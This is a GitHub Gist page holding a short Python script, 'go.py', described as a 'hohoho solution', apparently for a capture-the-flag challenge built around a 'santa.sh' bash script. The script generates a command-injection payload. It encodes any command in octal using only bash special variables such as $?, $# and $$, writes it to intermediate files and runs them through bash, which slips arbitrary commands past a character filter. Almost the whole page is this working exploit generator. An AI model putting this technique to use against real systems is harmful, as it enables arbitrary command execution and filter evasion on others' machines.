{{ message }}

Instantly share code, notes, and snippets.

# eboda/go.py

Created Dec 29, 2016
hohoho solution
 import sys m = { '0' : '\$[\$?/\$\$]', '1' : '\$?', '2' : '\$[\$?+\$?]', '3' : '\$[\$?+\$?+\$?]', '4' : '\$[\$?+\$?+\$?+\$?]', '5' : '\$[\$?+\$?+\$?+\$?+\$?]', '6' : '\$[(\$?+\$?+\$?)*(\$?+\$?)]', '7' : '\$[(\$?+\$?+\$?)*(\$?+\$?)+\$?]' } OUTFILE_1 = "\$#" OUTFILE_2 = "\$\$" BASH_STRING = "(());\${!#:((\$?+\$?+\$?)*(\$?+\$?)+\$?):\$?}" #substr("./santa.sh", 7, 1) = "." def conv(c): """ Convert a character to its octal representation """ n = map(lambda x: m[x], list(str(oct(ord(c)))[1:])) return "\\\\" + ''.join(n) def go(cmd): payload = ';(());' # add ;\$' to the output payload += '";"\\$"\'"' # convert each character to octal and then generate a representation for each digit payload += ''.join(map(conv, list(cmd))) # write stderr to the file 0 payload += '"\';"&>%s;' % OUTFILE_1 # execute bash 0 and write stderr to a file \$\$, # this step resolves the octal representation to regular ascii payload += '%s %s&>%s;' % (BASH_STRING, OUTFILE_1, OUTFILE_2) # execute bash \$\$' payload += '%s %s;' % (BASH_STRING, OUTFILE_2) return payload.replace("\\", "\\\\") if __name__ == "__main__": if len(sys.argv) <= 1: print "Usage: python %s cmd" % sys.argv[0] exit() cmd = ';' + ' '.join(sys.argv[1:]) + ';' print go(cmd)

 Cool